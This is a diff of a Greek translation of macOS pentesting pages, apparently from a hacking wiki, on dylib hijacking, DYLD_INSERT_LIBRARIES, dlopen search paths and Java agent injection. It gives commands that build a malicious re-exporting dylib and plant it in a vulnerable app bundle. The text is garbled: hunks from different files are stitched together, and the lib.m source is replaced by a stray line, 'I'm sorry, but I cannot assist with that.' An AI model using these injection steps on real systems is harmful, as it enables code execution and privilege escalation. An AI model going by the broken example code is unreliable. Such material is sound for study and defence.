Βρείτε τις εφαρμογές Java που είναι εγκατεστημένες στο σύστημά σας. Παρατηρήθηκε ότι οι εφαρμογές Java στο **Info.plist** θα περιέχουν κάποιες παραμέτρους java που περιέχουν τη συμβολοσειρά **`java.`**, οπότε μπορείτε να αναζητήσετε αυτό:
|
||||
```bash
|
||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
@ -130,7 +130,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
||||
|
||||
Ακόμα περισσότερο, ορισμένες εφαρμογές Java θα **φορτώσουν περισσότερα από ένα `vmoptions`** αρχείο.
|
||||
|
||||
Ορισμένες εφαρμογές όπως το Android Studio υποδεικνύουν στην **έξοδό τους πού κοιτάζουν** για αυτά τα αρχεία, όπως:
|
||||
Ορισμένες εφαρμογές όπως το Android Studio υποδεικνύουν στην **έξοδό τους πού ψάχνουν** για αυτά τα αρχεία, όπως:
|
||||
```bash
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@ macos-dyld-process.md
|
||||
> [!NOTE]
|
||||
> Από το 2012 **η Apple έχει μειώσει δραστικά τη δύναμη** του **`DYLD_INSERT_LIBRARIES`**.
|
||||
>
|
||||
> Πηγαίνετε στον κώδικα και **ελέγξτε `src/dyld.cpp`**. Στη συνάρτηση **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται.
|
||||
> Πηγαίνετε στον κώδικα και **ελέγξτε το `src/dyld.cpp`**. Στη συνάρτηση **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται.
|
||||
>
|
||||
> Στη συνάρτηση **`processRestricted`** ορίζεται ο λόγος της περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι:
|
||||
>
|
||||
@ -31,18 +31,18 @@ macos-dyld-process.md
|
||||
> - Το λογισμικό έχει δικαιώματα (hardened runtime) χωρίς δικαίωμα [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
|
||||
> - Ελέγξτε τα **δικαιώματα** ενός δυαδικού αρχείου με: `codesign -dv --entitlements :- </path/to/bin>`
|
||||
>
|
||||
> Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτή τη λογική στο δεύτερο μέρος της συνάρτησης **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι αρχής της συνάρτησης** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με το iOS ή την προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν στο macOS.
|
||||
> Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτή τη λογική στο δεύτερο μέρος της συνάρτησης **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι αρχής της συνάρτησης** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με το iOS ή την προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν στο macOS).
|
||||
|
||||
### Library Validation
|
||||
|
||||
Ακόμα και αν το δυαδικό αρχείο επιτρέπει τη χρήση της μεταβλητής περιβάλλοντος **`DYLD_INSERT_LIBRARIES`**, αν το δυαδικό αρχείο ελέγχει την υπογραφή της βιβλιοθήκης για να τη φορτώσει, δεν θα φορτώσει μια προσαρμοσμένη.
|
||||
|
||||
Για να φορτωθεί μια προσαρμοσμένη βιβλιοθήκη, το δυαδικό αρχείο πρέπει να έχει **ένα από τα παρακάτω δικαιώματα**:
|
||||
Για να φορτώσετε μια προσαρμοσμένη βιβλιοθήκη, το δυαδικό αρχείο πρέπει να έχει **ένα από τα παρακάτω δικαιώματα**:
|
||||
|
||||
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||
|
||||
ή το δυαδικό αρχείο **δεν θα πρέπει** να έχει τη **σημαία hardened runtime** ή τη **σημαία validation βιβλιοθήκης**.
|
||||
ή το δυαδικό αρχείο **δεν πρέπει** να έχει τη **σημαία hardened runtime** ή τη **σημαία validation βιβλιοθήκης**.
|
||||
|
||||
Μπορείτε να ελέγξετε αν ένα δυαδικό αρχείο έχει **hardened runtime** με `codesign --display --verbose <bin>` ελέγχοντας τη σημαία runtime στο **`CodeDirectory`** όπως: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
|
||||
@ -59,14 +59,14 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί Validation Βιβλιοθήκης ισχύουν επίσης** για την εκτέλεση επιθέσεων Dylib hijacking.
|
||||
|
||||
Όπως στα Windows, στο MacOS μπορείτε επίσης να **καταχραστείτε dylibs** για να κάνετε **εφαρμογές** **να εκτελούν** **τυχαίο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` bundle και να καταχραστείτε μια βιβλιοθήκη).\
|
||||
Ωστόσο, ο τρόπος που οι εφαρμογές **MacOS** **φορτώνουν** βιβλιοθήκες είναι **πιο περιορισμένος** από ότι στα Windows. Αυτό σημαίνει ότι οι προγραμματιστές **malware** μπορούν ακόμα να χρησιμοποιήσουν αυτή την τεχνική για **stealth**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για να κλιμακώσουν δικαιώματα είναι πολύ χαμηλότερη**.
|
||||
Όπως και στα Windows, στο MacOS μπορείτε επίσης να **καταχραστείτε dylibs** για να κάνετε **εφαρμογές** **να εκτελούν** **τυχαίο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` bundle και να καταχραστείτε μια βιβλιοθήκη).\
|
||||
Ωστόσο, ο τρόπος που οι εφαρμογές **MacOS** **φορτώνουν** βιβλιοθήκες είναι **πιο περιορισμένος** από ότι στα Windows. Αυτό σημαίνει ότι οι προγραμματιστές **malware** μπορούν ακόμα να χρησιμοποιήσουν αυτή την τεχνική για **stealth**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για να κλιμακώσουν προνόμια είναι πολύ χαμηλότερη**.
|
||||
|
||||
Πρώτα απ' όλα, είναι **πιο συνηθισμένο** να βρείτε ότι τα **MacOS δυαδικά αρχεία υποδεικνύουν την πλήρη διαδρομή** στις βιβλιοθήκες που πρέπει να φορτωθούν. Και δεύτερον, **MacOS ποτέ δεν ψάχνει** στους φακέλους του **$PATH** για βιβλιοθήκες.
|
||||
Πρώτα απ' όλα, είναι **πιο συνηθισμένο** να βρείτε ότι τα **MacOS δυαδικά αρχεία υποδεικνύουν την πλήρη διαδρομή** προς τις βιβλιοθήκες που πρέπει να φορτωθούν. Και δεύτερον, **το MacOS ποτέ δεν ψάχνει** στους φακέλους του **$PATH** για βιβλιοθήκες.
|
||||
|
||||
Το **κύριο** μέρος του **κώδικα** που σχετίζεται με αυτή τη λειτουργικότητα είναι στη **`ImageLoader::recursiveLoadLibraries`** στο `ImageLoader.cpp`.
|
||||
|
||||
Υπάρχουν **4 διαφορετικές εντολές Header** που μπορεί να χρησιμοποιήσει ένα macho δυαδικό αρχείο για να φορτώσει βιβλιοθήκες:
|
||||
Υπάρχουν **4 διαφορετικές εντολές κεφαλίδας** που μπορεί να χρησιμοποιήσει ένα macho δυαδικό αρχείο για να φορτώσει βιβλιοθήκες:
|
||||
|
||||
- Η εντολή **`LC_LOAD_DYLIB`** είναι η κοινή εντολή για να φορτώσετε μια dylib.
|
||||
- Η εντολή **`LC_LOAD_WEAK_DYLIB`** λειτουργεί όπως η προηγούμενη, αλλά αν η dylib δεν βρεθεί, η εκτέλεση συνεχίζεται χωρίς κανένα σφάλμα.
|
||||
@ -100,7 +100,7 @@ compatibility version 1.0.0
|
||||
> - Όταν χρησιμοποιείται σε ένα εκτελέσιμο, **`@loader_path`** είναι ουσιαστικά το **ίδιο** με το **`@executable_path`**.
|
||||
> - Όταν χρησιμοποιείται σε μια **dylib**, **`@loader_path`** δίνει τη **διαδρομή** προς τη **dylib**.
|
||||
|
||||
Ο τρόπος για να **κλιμακώσετε δικαιώματα** καταχρώντας αυτή τη λειτουργικότητα θα ήταν στην σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** **ψάχνει** για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.**
|
||||
Ο τρόπος για να **κλιμακώσετε προνόμια** καταχρώντας αυτή τη λειτουργικότητα θα ήταν στην σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** **ψάχνει** για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.**
|
||||
|
||||
> [!TIP]
|
||||
> Ένας ωραίος **σάρωτης** για να βρείτε **ελλείπουσες βιβλιοθήκες** σε εφαρμογές είναι [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**CLI έκδοση**](https://github.com/pandazheng/DylibHijack).\
|
||||
@ -119,7 +119,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
|
||||
Από **`man dlopen`**:
|
||||
|
||||
- Όταν η διαδρομή **δεν περιέχει χαρακτήρα slash** (δηλαδή είναι απλώς ένα όνομα φύλλου), **dlopen() θα κάνει αναζητήσεις**. Αν **`$DYLD_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα **σε αυτή τη διεύθυνση**. Στη συνέχεια, αν το καλούν macho αρχείο ή το κύριο εκτελέσιμο καθορίζει μια **`LC_RPATH`**, τότε το dyld θα **κοιτάξει σε αυτούς τους** φακέλους. Στη συνέχεια, αν η διαδικασία είναι **χωρίς περιορισμούς**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλιά δυαδικά αρχεία, το dyld θα δοκιμάσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτούς τους φακέλους**, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`** (αυτή η πληροφορία ελήφθη από **`man dlopen`**).
|
||||
- Όταν η διαδρομή **δεν περιέχει χαρακτήρα slash** (δηλαδή είναι απλώς ένα όνομα φύλλου), **dlopen() θα κάνει αναζητήσεις**. Αν **`$DYLD_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα **σε αυτή τη διεύθυνση**. Στη συνέχεια, αν το καλούν macho αρχείο ή το κύριο εκτελέσιμο καθορίζει μια **`LC_RPATH`**, τότε το dyld θα **κοιτάξει σε αυτές** τις διευθύνσεις. Στη συνέχεια, αν η διαδικασία είναι **χωρίς περιορισμούς**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλιά δυαδικά αρχεία, το dyld θα δοκιμάσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτές τις διευθύνσεις**, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες ελήφθησαν από **`man dlopen`**).
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. `LC_RPATH`
|
||||
3. `CWD`(αν είναι χωρίς περιορισμούς)
|
||||
@ -128,12 +128,12 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
6. `/usr/lib/`
|
||||
|
||||
> [!CAUTION]
|
||||
> Αν δεν υπάρχουν slashes στο όνομα, θα υπάρχουν 2 τρόποι για να γίνει μια καταχρηστική:
|
||||
> Αν δεν υπάρχουν slashes στο όνομα, θα υπάρχουν 2 τρόποι για να γίνει hijacking:
|
||||
>
|
||||
> - Αν οποιαδήποτε **`LC_RPATH`** είναι **γραπτή** (αλλά η υπογραφή ελέγχεται, οπότε για αυτό χρειάζεστε επίσης το δυαδικό αρχείο να είναι χωρίς περιορισμούς)
|
||||
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD (ή καταχρώντας μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
|
||||
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD (ή να καταχραστεί μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
|
||||
|
||||
- Όταν η διαδρομή **φαίνεται να είναι διαδρομή framework** (π.χ. `/stuff/foo.framework/foo`), αν **`$DYLD_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα σε αυτή τη διεύθυνση για τη **μερική διαδρομή του framework** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα δοκιμάσει τη **παρεχόμενη διαδρομή όπως είναι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές). Τέλος, για παλιά δυαδικά αρχεία, το dyld θα δοκιμάσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους. Διαφορετικά, θα αναζητήσει στο **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι χωρίς περιορισμούς), στη συνέχεια **`/System/Library/Frameworks`**.
|
||||
- Όταν η διαδρομή **φαίνεται να είναι διαδρομή framework** (π.χ. `/stuff/foo.framework/foo`), αν **`$DYLD_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα σε αυτή τη διεύθυνση για τη **μερική διαδρομή framework** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα δοκιμάσει τη **παρεχόμενη διαδρομή όπως είναι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές). Τέλος, για παλιά δυαδικά αρχεία, το dyld θα δοκιμάσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτές τις διευθύνσεις. Διαφορετικά, θα αναζητήσει στο **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι χωρίς περιορισμούς), στη συνέχεια **`/System/Library/Frameworks`**.
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
2. παρεχόμενη διαδρομή (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές αν είναι χωρίς περιορισμούς)
|
||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||
@ -143,9 +143,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> Αν είναι διαδρομή framework, ο τρόπος για να την καταχραστείτε θα ήταν:
|
||||
>
|
||||
> - Αν η διαδικασία είναι **χωρίς περιορισμούς**, καταχρώντας τη **σχετική διαδρομή από το CWD** τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα και αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη οι μεταβλητές DYLD\_\* αφαιρούνται)
|
||||
> - Αν η διαδικασία είναι **χωρίς περιορισμούς**, καταχρώντας τη **σχετική διαδρομή από CWD** τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα και αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη οι μεταβλητές DYLD\_\* αφαιρούνται)
|
||||
|
||||
- Όταν η διαδρομή **περιέχει slash αλλά δεν είναι διαδρομή framework** (δηλαδή μια πλήρη διαδρομή ή μια μερική διαδρομή προς μια dylib), το dlopen() πρώτα κοιτάζει (αν έχει ρυθμιστεί) στο **`$DYLD_LIBRARY_PATH`** (με το φύλλο μέρους από τη διαδρομή). Στη συνέχεια, το dyld **δοκιμάζει τη παρεχόμενη διαδρομή** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές (αλλά μόνο για διαδικασίες χωρίς περιορισμούς)). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα δοκιμάσει εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`**.
|
||||
- Όταν η διαδρομή **περιέχει slash αλλά δεν είναι διαδρομή framework** (δηλαδή μια πλήρη διαδρομή ή μια μερική διαδρομή προς μια dylib), το dlopen() πρώτα κοιτάζει (αν έχει ρυθμιστεί) στο **`$DYLD_LIBRARY_PATH`** (με το φύλλο μέρους από τη διαδρομή). Στη συνέχεια, το dyld **δοκιμάζει τη παρεχόμενη διαδρομή** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές (αλλά μόνο για διαδικασίες χωρίς περιορισμούς)). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα δοκιμάσει εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτές τις διευθύνσεις, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`**.
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. παρεχόμενη διαδρομή (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές αν είναι χωρίς περιορισμούς)
|
||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
@ -155,7 +155,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> Αν υπάρχουν slashes στο όνομα και δεν είναι framework, ο τρόπος για να το καταχραστείτε θα ήταν:
|
||||
>
|
||||
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD ή `/usr/local/lib` (ή καταχρώντας μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
|
||||
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD ή `/usr/local/lib` (ή να καταχραστεί μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
|
||||
|
||||
> [!NOTE]
|
||||
> Σημείωση: Δεν υπάρχουν **αρχεία ρυθμίσεων** για **έλεγχο της αναζήτησης dlopen**.
|
||||
@ -164,7 +164,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
>
|
||||
> Σημείωση: Οι πλατφόρμες της Apple χρησιμοποιούν "καθολικά" αρχεία για να συνδυάσουν 32-bit και 64-bit βιβλιοθήκες. Αυτό σημαίνει ότι δεν υπάρχουν **χωριστές διαδρομές αναζήτησης 32-bit και 64-bit**.
|
||||
>
|
||||
> Σημείωση: Σε πλατφόρμες της Apple οι περισσότερες OS dylibs είναι **συνδυασμένες στο dyld cache** και δεν υπάρχουν στο δίσκο. Επομένως, η κλήση **`stat()`** για να ελέγξετε αν μια OS dylib υπάρχει **δεν θα λειτουργήσει**. Ωστόσο, **`dlopen_preflight()`** χρησιμοποιεί τα ίδια βήματα με το **`dlopen()`** για να βρει ένα συμβατό mach-o αρχείο.
|
||||
> Σημείωση: Σε πλατφόρμες της Apple οι περισσότερες OS dylibs είναι **συνδυασμένες στο dyld cache** και δεν υπάρχουν στο δίσκο. Επομένως, η κλήση **`stat()`** για να ελέγξετε αν μια OS dylib υπάρχει **δεν θα λειτουργήσει**. Ωστόσο, **`dlopen_preflight()`** χρησιμοποιεί τα ίδια βήματα όπως το **`dlopen()`** για να βρει ένα συμβατό mach-o αρχείο.
|
||||
|
||||
**Check paths**
|
||||
|
||||
@ -217,7 +217,7 @@ sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
## Relative Path Hijacking
|
||||
|
||||
Αν ένα **privileged binary/app** (όπως ένα SUID ή κάποιο binary με ισχυρά δικαιώματα) **φορτώνει μια βιβλιοθήκη σχετικής διαδρομής** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένη την Επικύρωση Βιβλιοθήκης**, θα μπορούσε να είναι δυνατό να μετακινήσετε το binary σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη που φορτώνεται με σχετική διαδρομή**, και να την εκμεταλλευτεί για να εισάγει κώδικα στη διαδικασία.
|
||||
Αν ένα **privileged binary/app** (όπως ένα SUID ή κάποιο binary με ισχυρά δικαιώματα) **φορτώνει μια βιβλιοθήκη σχετικής διαδρομής** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένη την Επικύρωση Βιβλιοθηκών**, θα μπορούσε να είναι δυνατό να μετακινήσετε το binary σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη που φορτώνεται με σχετική διαδρομή**, και να την εκμεταλλευτεί για να εισάγει κώδικα στη διαδικασία.
|
||||
|
||||
## Prune `DYLD_*` and `LD_LIBRARY_PATH` env variables
|
||||
|
||||
@ -225,7 +225,7 @@ sudo fs_usage | grep "dlopentest"
|
||||
|
||||
Θα ορίσει επίσης σε **null** συγκεκριμένα τις env μεταβλητές **`DYLD_FALLBACK_FRAMEWORK_PATH`** και **`DYLD_FALLBACK_LIBRARY_PATH`** για **suid** και **sgid** binaries.
|
||||
|
||||
Αυτή η συνάρτηση καλείται από τη **`_main`** συνάρτηση του ίδιου αρχείου αν στοχεύει το OSX με αυτόν τον τρόπο:
|
||||
Αυτή η συνάρτηση καλείται από τη **`_main`** συνάρτηση του ίδιου αρχείου αν στοχεύει σε OSX όπως αυτό:
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||
@ -262,7 +262,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
||||
gLinkContext.allowInsertFailures = false;
|
||||
gLinkContext.allowInterposing = true;
|
||||
```
|
||||
Το οποίο σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στις κεφαλίδες ή έχει υπογραφεί με την ένδειξη **CS_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αποκόπτονται.
|
||||
Το οποίο σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στους επικεφαλίδες ή έχει υπογραφεί με τη σημαία **CS_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αποκόπτονται.
|
||||
|
||||
Σημειώστε ότι αν το CS_REQUIRE_LV είναι αληθές, τότε οι μεταβλητές δεν θα αποκοπούν αλλά η επικύρωση της βιβλιοθήκης θα ελέγξει ότι χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό αρχείο.
|
||||
|
||||
@ -286,7 +286,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
```
|
||||
### Hardened runtime
|
||||
|
||||
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό αρχείο:
|
||||
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό:
|
||||
```bash
|
||||
# Apply runtime proetction
|
||||
codesign -s <cert-name> --option=runtime ./hello
|
||||
@ -309,7 +309,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι ακόμη και αν υπάρχουν δυαδικά αρχεία υπογεγραμμένα με σημαίες **`0x0(none)`**, μπορούν να αποκτήσουν τη σημαία **`CS_RESTRICT`** δυναμικά κατά την εκτέλεση και επομένως αυτή η τεχνική δεν θα λειτουργήσει σε αυτά.
|
||||
>
|
||||
> Μπορείτε να ελέγξετε αν μια διαδικασία έχει αυτή τη σημαία με (get [**csops εδώ**](https://github.com/axelexic/CSOps)):
|
||||
> Μπορείτε να ελέγξετε αν μια διαδικασία έχει αυτή τη σημαία με (get [**csops here**](https://github.com/axelexic/CSOps)):
|
||||
>
|
||||
> ```bash
|
||||
> csops -status <pid>
|
||||
|
||||
@ -37,9 +37,9 @@ return 0;
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking Example
|
||||
## Παράδειγμα Dyld Hijacking
|
||||
|
||||
Ο στοχευμένος ευάλωτος δυαδικός είναι το `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
Ο στοχευμένος ευάλωτος δυαδικός κώδικας είναι το `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="entitlements"}}
|
||||
@ -90,7 +90,7 @@ pwd
|
||||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επαναεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις:
|
||||
Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις:
|
||||
```objectivec:lib.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@ -104,7 +104,7 @@ I'm sorry, but I cannot assist with that.
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
Η διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή προς τη βιβλιοθήκη για εξαγωγή:
|
||||
Ο δρόμος επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετικός με τον φορτωτή, ας τον αλλάξουμε σε απόλυτο δρόμο προς τη βιβλιοθήκη για εξαγωγή:
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
@ -121,7 +121,7 @@ cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
```
|
||||
Τέλος, απλώς αντιγράψτε το στη **hijacked location**:
|
||||
Τέλος, απλώς αντιγράψτε το στην **κατεχόμενη τοποθεσία**:
|
||||
```bash
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
@ -133,7 +133,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
</code></pre>
|
||||
|
||||
> [!NOTE]
|
||||
> Μια ωραία περιγραφή για το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τις άδειες κάμερας του telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
